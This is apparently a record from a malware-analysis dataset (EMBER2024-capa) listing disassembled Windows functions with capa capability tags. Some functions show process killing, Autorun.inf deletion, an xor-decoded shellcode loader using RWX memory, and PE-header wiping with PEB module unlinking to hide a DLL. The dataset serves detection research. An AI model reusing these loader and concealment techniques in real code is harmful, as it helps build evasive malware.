joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ad90
Capabilities:
Enumerate processes
Move file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43291b
mov eax, dword fs:[0]
push eax
sub esp, 0x448
mov eax, dword [0x43c070]
xor eax, esp
mov dword [esp + 0x440], eax
push ebx
push esi
push edi
mov eax, dword [0x43c070]
xor eax, esp
push eax
lea eax, [esp + 0x458]
mov dword fs:[0], eax
mov eax, dword [0x43d8f4]
mov edx, dword [eax + 0xc]
mov ecx, 0x43d8f4
or ebx, 0xffffffff
call edx
lea edi, [eax + 0x10]
mov dword [esp + 0x10], edi
mov dword [esp + 0x460], 0
cmp dword [0x43e584], 0
je 0x40af11
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40af11
push 0x22c
lea eax, [esp + 0x18]
push 0
push eax
call fcn.0040ed60
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
push ebx
mov dword [esp + 0x1c], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40af11
mov edx, dword [esp + 0x1c]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40aefe
push 0x104
lea eax, [esp + 0x248]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
test eax, eax
je 0x40aedb
lea ecx, [esp + 0x244]
call fcn.0040c6e0
cmp dword [0x43e584], eax
jne 0x40aedb
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x244]
lea edi, [esp + 0x10]
call fcn.004031e0
mov ecx, edi
push ecx
mov edx, str..bak
call fcn.00402710
mov edi, dword [esp + 0x10]
push edi
lea edx, [esp + 0x248]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x40aedb
push 4
push edi
lea eax, [esp + 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x22c
lea ecx, [esp + 0x18]
push 0
push ecx
call fcn.0040ed60
add esp, 0xc
mov dword [esp + 0x14], 0x22c
lea edx, [esp + 0x14]
push edx
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40ae44
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [edi - 0x10]
mov dword [esp + 0x460], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40af3f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x458]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x440]
xor ecx, esp
call fcn.0040da0d
mov esp, ebp
pop ebp
ret
Function at 0x40af70
Capabilities:
Delete file
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x4328db
mov eax, dword fs:[0]
push eax
sub esp, 0xd4
mov eax, dword [0x43c070]
xor eax, esp
mov dword [esp + 0xd0], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43c070]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
xor esi, esi
push 0xc6
lea eax, [esp + 0x22]
push esi
push eax
mov word [esp + 0x28], si
call fcn.0040ed60
mov edx, dword [0x43d8f4]
mov eax, dword [edx + 0xc]
add esp, 0xc
mov ecx, 0x43d8f4
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x18], edi
lea ecx, [esp + 0x1c]
push ecx
push 0x64
mov dword [esp + 0xf8], esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp eax, esi
je 0x40b053
shr eax, 2
je 0x40b053
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea esi, [esp + 0x1c]
mov dword [esp + 0x14], eax
lea ecx, [ecx]
push 0x437358
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x40b049
push esi
call ebp
add eax, 0xfffffffe
cmp eax, 1
ja 0x40b049
push str.Autorun.inf
push esi
push str._s_s
lea edi, [esp + 0x24]
call fcn.00405b40
mov edi, dword [esp + 0x24]
add esp, 0xc
push edi
call ebx
add esi, 8
sub dword [esp + 0x14], 1
jne 0x40b010
lea eax, [edi - 0x10]
mov dword [esp + 0xf0], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40b07a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0xe8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xd0]
xor ecx, esp
call fcn.0040da0d
add esp, 0xe0
ret
Function at 0x40b2f0
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
lea edi, [ebp + 4]
push edi
call fcn.0040c3a0
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, dword [0x43d888]
push 0
push 0xc
call esi
push eax
push 0xb
call esi
push eax
push 1
push 0x80
push ebx
mov ebx, dword [sym.imp.USER32.dll_LoadImageW]
call ebx
push eax
push 1
mov dword [ebp + 0x20], eax
mov eax, dword [edi]
push 0x80
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [0x43d888]
push 0
push 0x32
mov dword [esp + 0x1c], ecx
call esi
push eax
push 0x31
call esi
mov edx, dword [esp + 0x1c]
push eax
push 1
push 0x80
push edx
call ebx
push eax
mov eax, dword [edi]
push 0
push 0x80
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [0x43d888]
push 0xcb
push ecx
call dword [sym.imp.USER32.dll_LoadBitmapW]
mov dword [ebp + 0x114], eax
mov edx, dword [edi]
push 0x3f1
push edx
call dword [sym.imp.USER32.dll_GetDlgItem]
lea esi, [ebp + 0x24]
mov ebx, eax
call fcn.0040c060
test eax, eax
je 0x40b3cb
mov eax, dword [esi + 4]
push 0xfffffffffffffff0
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
or ecx, 0x100
cmp eax, ecx
je 0x40b3cb
push ecx
mov ecx, dword [esi + 4]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, dword [edi]
push 0x3f3
push edx
call dword [sym.imp.USER32.dll_GetDlgItem]
lea esi, [ebp + 0x84]
mov ebx, eax
call fcn.0040c060
test eax, eax
je 0x40b40f
mov eax, dword [esi + 4]
push 0xfffffffffffffff0
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
or ecx, 0x100
cmp eax, ecx
je 0x40b40f
push ecx
mov ecx, dword [esi + 4]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, dword [edi]
push 0x3f4
push edx
call dword [sym.imp.USER32.dll_GetDlgItem]
lea esi, [ebp + 0xb4]
mov ebx, eax
call fcn.0040c060
test eax, eax
je 0x40b453
mov eax, dword [esi + 4]
push 0xfffffffffffffff0
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov ecx, eax
or ecx, 0x100
cmp eax, ecx
je 0x40b453
push ecx
mov ecx, dword [esi + 4]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov edx, dword [edi]
mov esi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0x437598
mov eax, 0xffefde
push 0x3f6
push edx
mov dword [ebp + 0xac], eax
mov dword [ebp + 0xdc], eax
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [edi]
push 0
push 0x3f8
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0x40a350
call fcn.0040e8f3
mov ecx, dword [edi]
add esp, 0xc
push 0
push 0xc8
push 1
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
call fcn.0040a630
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 4
Function at 0x40ba20
Capabilities:
Create process on windows

Disassembly:
push 1
push 0
push 0
push str.http:__www.beike.cn__s1
push 0x4377ec
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret 4

Function at 0x40ba40
Capabilities:
Create process on windows

Disassembly:
push 1
push 0
push 0
push str.http:__bbs.beike.cn__s1
push 0x4377ec
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret 4

Function at 0x40ba60
Capabilities:
Create process on windows
Create thread

Disassembly:
cmp dword [0x43e580], 0
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageW]
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
jne 0x40babf
mov eax, dword [esi + 4]
push 0x3fd
push eax
call edi
push 0
push 0
push 0xf0
push eax
call ebx
cmp eax, 1
jne 0x40babf
push 0
push 0
push 0x40a5f0
call fcn.0040e8f3
mov ecx, dword [esi + 4]
add esp, 0xc
push 1
push ecx
mov dword [0x43e580], 1
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop ebx
ret 4
mov ecx, dword [0x43e5cc]
cmp dword [ecx - 0xc], 0
je 0x40bb00
mov edx, dword [esi + 4]
push 0x3fd
push edx
call edi
push 0
push 0
push 0xf0
push eax
call ebx
cmp eax, 1
jne 0x40bb00
mov eax, dword [0x43e5cc]
push 5
push 0
push str._as__update:n
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [esi + 4]
push 1
push ecx
call dword [sym.imp.USER32.dll_EndDialog]
pop edi
pop ebx
ret 4
Function at 0x40c8f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4328a8
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43c070]
xor eax, esp
push eax
lea eax, [esp + 0x24]
mov dword fs:[0], eax
mov ebp, dword [esp + 0x34]
mov eax, dword [0x43d8f4]
mov edx, dword [eax + 0xc]
xor edi, edi
mov ecx, 0x43d8f4
mov dword [esp + 0x18], edi
call edx
add eax, 0x10
mov dword [esp + 0x14], eax
cmp ebp, edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], edi
jne 0x40c94b
xor eax, eax
jmp 0x40c95f
mov eax, ebp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x40c950
sub eax, edx
sar eax, 1
mov ebx, eax
push ebp
lea eax, [esp + 0x18]
call fcn.004032b0
mov eax, dword [esp + 0x14]
mov ebx, dword [sym.imp.SHLWAPI.dll_StrRChrW]
push 0x5c
push edi
push eax
call ebx
mov esi, eax
cmp esi, edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
je 0x40c9ab
push 0x437a04
push esi
call edi
test eax, eax
je 0x40c99b
mov dword [esp + 0x1c], 1
push 0x2e
push 0
push esi
call ebx
test eax, eax
je 0x40c9ab
mov word [eax], 0
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40ca24
test al, 0x10
je 0x40ca24
test al, 2
je 0x40ca24
test al, 4
je 0x40ca24
push str.windows
push ebp
call edi
test eax, eax
jne 0x40ca24
push str.Temp
push ebp
call edi
test eax, eax
jne 0x40ca24
push str.Temporary_Internet_Files
push ebp
call edi
test eax, eax
jne 0x40ca24
cmp dword [esp + 0x1c], eax
jne 0x40ca1c
xor edi, edi
mov ecx, ebp
call fcn.00401680
test eax, eax
je 0x40ca24
lea edx, [esp + 0x20]
push edx
push ebp
call sub.VERSION.dll_GetFileVersionInfoSizeW
test eax, eax
jne 0x40ca24
push 0xffffffffffffffff
push ebp
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconW]
cmp eax, 1
jne 0x40ca24
mov dword [esp + 0x18], 1
mov dword [esp + 0x2c], 0xffffffff
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40ca4c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x24]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x40cac0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40cb7c
test al, 0x10
je 0x40cb7c
test al, 2
je 0x40cb7c
test al, 4
je 0x40cb7c
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.System_Volume_Information
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.MSOCache
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.Recycle
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.Temp
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.Temporary_Internet_Files
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.Documents_and_Settings
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.ProgramData
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.Config.Msi
push esi
call edi
test eax, eax
jne 0x40cb7b
push str._vod_cache_data
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.BeikeRecycle
push esi
call edi
test eax, eax
jne 0x40cb7b
push str.windows
push esi
call edi
test eax, eax
jne 0x40cb7b
mov ebx, 1
pop edi
mov eax, ebx
pop ebx
ret

Function at 0x40cbc0
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
lea eax, [esp + 0x10]
push eax
mov ecx, ebp
xor edi, edi
call fcn.00402df0
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.SHLWAPI.dll_StrRChrW]
push 0x5c
push edi
push ecx
call esi
test eax, eax
je 0x40cbf8
push 0x2e
push edi
push eax
call esi
test eax, eax
je 0x40cbf8
mov word [eax], di
mov edx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edx
call esi
cmp eax, 0xffffffff
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
je 0x40cc2c
test al, 0x10
je 0x40cc2c
test al, 2
je 0x40cc2c
test al, 4
je 0x40cc2c
and eax, 0xfffffff9
push eax
mov eax, dword [esp + 0x14]
push eax
call ebx
mov edi, 1
push ebp
call esi
cmp eax, 0xffffffff
je 0x40cc4c
test al, 0x10
je 0x40cc4c
test al, 2
je 0x40cc4c
test al, 4
je 0x40cc4c
and eax, 0xfffffff9
push eax
push ebp
call ebx
mov edi, 1
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40cc6c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40d388
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x43c070]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040d1e7
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040ed60
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40d3d7
cmp dword [ebp - 0x1c], 5
jb 0x40d3ef
jmp 0x40d3eb
cmp dword [ebp - 0x10], 1
jne 0x40d3ef
cmp dword [ebp - 0x1c], 4
ja 0x40d3eb
jne 0x40d3ef
cmp dword [ebp - 0x18], 0
jbe 0x40d3ef
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x43407c
call fcn.00409560
test eax, eax
jge 0x40d410
mov byte [0x43e528], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040da0d
add ebp, 0x78
leave
ret

Function at 0x40d86a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x43d910], 0
push esi
jne 0x40d7d8
call fcn.0040d6f6
test eax, eax
je 0x40d81b
mov eax, dword [0x43d910]
cmp eax, 1
jne 0x40d7f9
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40d81b
pop esi
ret
push eax
call dword [0x43d918]
test eax, eax
jne 0x40d863
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40d81f
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x43d910]
call dword [0x43d918]
mov edi, eax
test edi, edi
je 0x40d846
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40d862
lea edi, [esi + 0xff0]
push esi
push dword [0x43d910]
call dword [0x43d914]
add esi, 0x10
cmp esi, edi
jb 0x40d84c
mov eax, esi
pop edi
pop esi
ret
jmp 0x40d7c5

Function at 0x40da0d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c070]
jne 0x40da17
repz ret
jmp fcn.0040f006
Function at 0x410851
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x43c1a0]
je 0x41086c
inc edi
cmp edi, 0x17
jb 0x41085d
cmp edi, 0x17
jae 0x4109ec
push ebp
push 3
call fcn.00415940
cmp eax, 1
pop ecx
je 0x4109b8
push 3
call fcn.00415940
test eax, eax
pop ecx
jne 0x4108a0
cmp dword [0x43c068], 1
je 0x4109b8
cmp ebx, 0xfc
je 0x4109eb
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x43de28
push ebp
call fcn.004158db
add esp, 0xc
test eax, eax
je 0x4108d6
push esi
push esi
push esi
push esi
push esi
call fcn.00410d62
add esp, 0x14
push 0x104
mov esi, 0x43de41
push esi
push 0
mov byte [0x43df45], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x41091a
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.004158db
add esp, 0xc
test eax, eax
je 0x41091a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00410d62
add esp, 0x14
push esi
call fcn.00415850
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x41095f
push esi
call fcn.00415850
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x43e13c
push 0x4346cc
sub ecx, eax
push ecx
push eax
call fcn.00415799
add esp, 0x14
test eax, eax
je 0x41095f
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00410d62
add esp, 0x14
jmp 0x410961
xor esi, esi
push 0x4346c8
push ebx
push ebp
call fcn.00415728
add esp, 0xc
test eax, eax
je 0x410981
push esi
push esi
push esi
push esi
push esi
call fcn.00410d62
add esp, 0x14
push dword [edi*8 + 0x43c1a4]
push ebx
push ebp
call fcn.00415728
add esp, 0xc
test eax, eax
je 0x4109a3
push esi
push esi
push esi
push esi
push esi
call fcn.00410d62
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0041556b
add esp, 0xc
jmp 0x4109eb
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x4109eb
cmp ebp, 0xffffffff
je 0x4109eb
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x43c1a4]
push dword [esi]
call fcn.00415850
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x41556b
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00411382
xor ebx, ebx
cmp dword [0x43e3a4], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x415641
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x415721
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x415721
push eax
call fcn.00411314
mov dword [esp], 0x434874
push edi
mov dword [0x43e3a4], eax
call esi
push eax
call fcn.00411314
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43e3a8], eax
call esi
push eax
call fcn.00411314
mov dword [0x43e3ac], eax
lea eax, [ebp - 0xc]
push eax
call fcn.004104bc
test eax, eax
pop ecx
pop ecx
je 0x41560f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00410d62
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x415641
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00411314
cmp eax, ebx
pop ecx
mov dword [0x43e3b4], eax
je 0x415641
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00411314
pop ecx
mov dword [0x43e3b0], eax
mov eax, dword [0x43e3b0]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4156c6
cmp dword [0x43e3b4], ecx
je 0x4156c6
push eax
call fcn.0041138b
push dword [0x43e3b4]
mov esi, eax
call fcn.0041138b
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4156c6
cmp edi, ebx
je 0x4156c6
call esi
cmp eax, ebx
je 0x415693
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x415693
test byte [ebp - 0x18], 1
jne 0x4156c6
lea eax, [ebp - 0x10]
push eax
call fcn.0041056b
test eax, eax
pop ecx
je 0x4156ae
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00410d62
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4156bd
or dword [ebp + 0x10], 0x200000
jmp 0x415701
or dword [ebp + 0x10], 0x40000
jmp 0x415701
mov eax, dword [0x43e3a8]
cmp eax, dword [ebp - 8]
je 0x415701
push eax
call fcn.0041138b
cmp eax, ebx
pop ecx
je 0x415701
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x415701
mov eax, dword [0x43e3ac]
cmp eax, dword [ebp - 8]
je 0x415701
push eax
call fcn.0041138b
cmp eax, ebx
pop ecx
je 0x415701
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x43e3a4]
call fcn.0041138b
cmp eax, ebx
pop ecx
je 0x415721
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x415723
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1002090c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1002091b
pop dword [ebp - 0x28]
mov eax, 0x1908f4f4
add eax, 0xf6f91427
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x7d40894f
add dword [ebp - 0x38], 0xd111bbfc
mov dword [ebp - 0x34], 0x7f68d32a
add dword [ebp - 0x34], 0xb2ca791b
mov dword [ebp - 0x30], 0x2065abe6
sub dword [ebp - 0x30], 0xd41967b8
mov dword [ebp - 0x2c], 0x25dadefd
sub dword [ebp - 0x2c], 0x25dadefd
lea eax, [ebp - 0x38]
push eax
mov eax, 0xf49b87b7
add eax, 0x1b6809b1
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x4eef5170
sub dword [ebp - 0x38], 0xda7ce81a
mov dword [ebp - 0x34], 0x6ff1160c
sub dword [ebp - 0x34], 0x2e84b497
mov dword [ebp - 0x30], 0x308ed1b2
add dword [ebp - 0x30], 0x32e09aba
mov dword [ebp - 0x2c], 0x24c50117
sub dword [ebp - 0x2c], 0x24c50117
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x501e85f3
add eax, 0xbfe50a6d
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3829a
push 0
call eax
mov ecx, 0xbfd3c3ec
sub ecx, 0xbfd38093
xor ebx, ebx
add ebx, eax
mov edx, 0x80743aab
sub edx, 0x706f02ab
add edx, dword [ebp - 0x28]
mov edi, 0x66e61f20
sub edi, 0x3e96153b
mov dword [ebp - 8], 0x2d94e05
mov esi, dword [edx]
xor dword [ebp - 0x18], 0xf49ba0d5
add esi, edi
xor dword [ebp - 0x10], edi
mov dword [ebx], esi
sub dword [ebp - 0x24], edx
add ebx, 4
add edx, 4
loop 0x10020a3f
add eax, 0xac91e31a
sub eax, 0xac90e2e3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, sym.EXPSRV.dll_Ordinal_790
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10001cb0
Capabilities:
Access peb ldr_data

Disassembly:
test edx, edx
je 0x10001d1f
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10001d1f
push esi
cmp ecx, edx
jne 0x10001d15
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10001cd7
mov esi, dword [eax]
mov dword [ecx], esi
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x10001ce3
mov esi, dword [eax]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 0x14]
test ecx, ecx
je 0x10001cef
mov esi, dword [eax + 0x10]
mov dword [ecx], esi
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x10001cfc
mov esi, dword [eax + 0x14]
mov dword [ecx + 4], esi
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10001d08
mov esi, dword [eax + 0xc]
mov dword [esi], ecx
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x10001d15
mov esi, dword [eax + 0xc]
mov dword [ecx + 4], esi
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10001cc8
pop esi
ret

Function at 0x10001d20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10001e0d
jmp 0x10001d40
mov cl, byte [eax + 0x1000f150]
sub cl, 0x10
xor cl, 0x77
mov byte [eax + 0x1000f150], cl
inc eax
cmp eax, 0x1b7800
jb 0x10001d40
push ebx
call fcn.10001680
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
je 0x10001db3
push edi
mov edi, dword [esi + 0x3c]
lea edx, [ebp + 8]
push edx
push 4
push 0x40
push esi
add edi, esi
call ebx
test eax, eax
je 0x10001d8c
push 0x40
push 0
push esi
call fcn.10006860
add esp, 0xc
test edi, edi
je 0x10001db2
lea eax, [ebp + 8]
push eax
push 4
push 0xf8
push edi
call ebx
test eax, eax
je 0x10001db2
push 0xf8
push 0
push edi
call fcn.10006860
add esp, 0xc
pop edi
push 0x1c
lea ecx, [ebp - 0x1c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp - 8]
push edx
push 0x40
push eax
push ecx
call ebx
push 0x1000
push 0
push esi
call fcn.10006860
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x1c]
add esp, 0xc
push 0
push edx
push eax
push ecx
call ebx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, esi
call fcn.10001cb0
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100022cf
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000e450]
jne 0x100022d9
repz ret
jmp fcn.10003f1d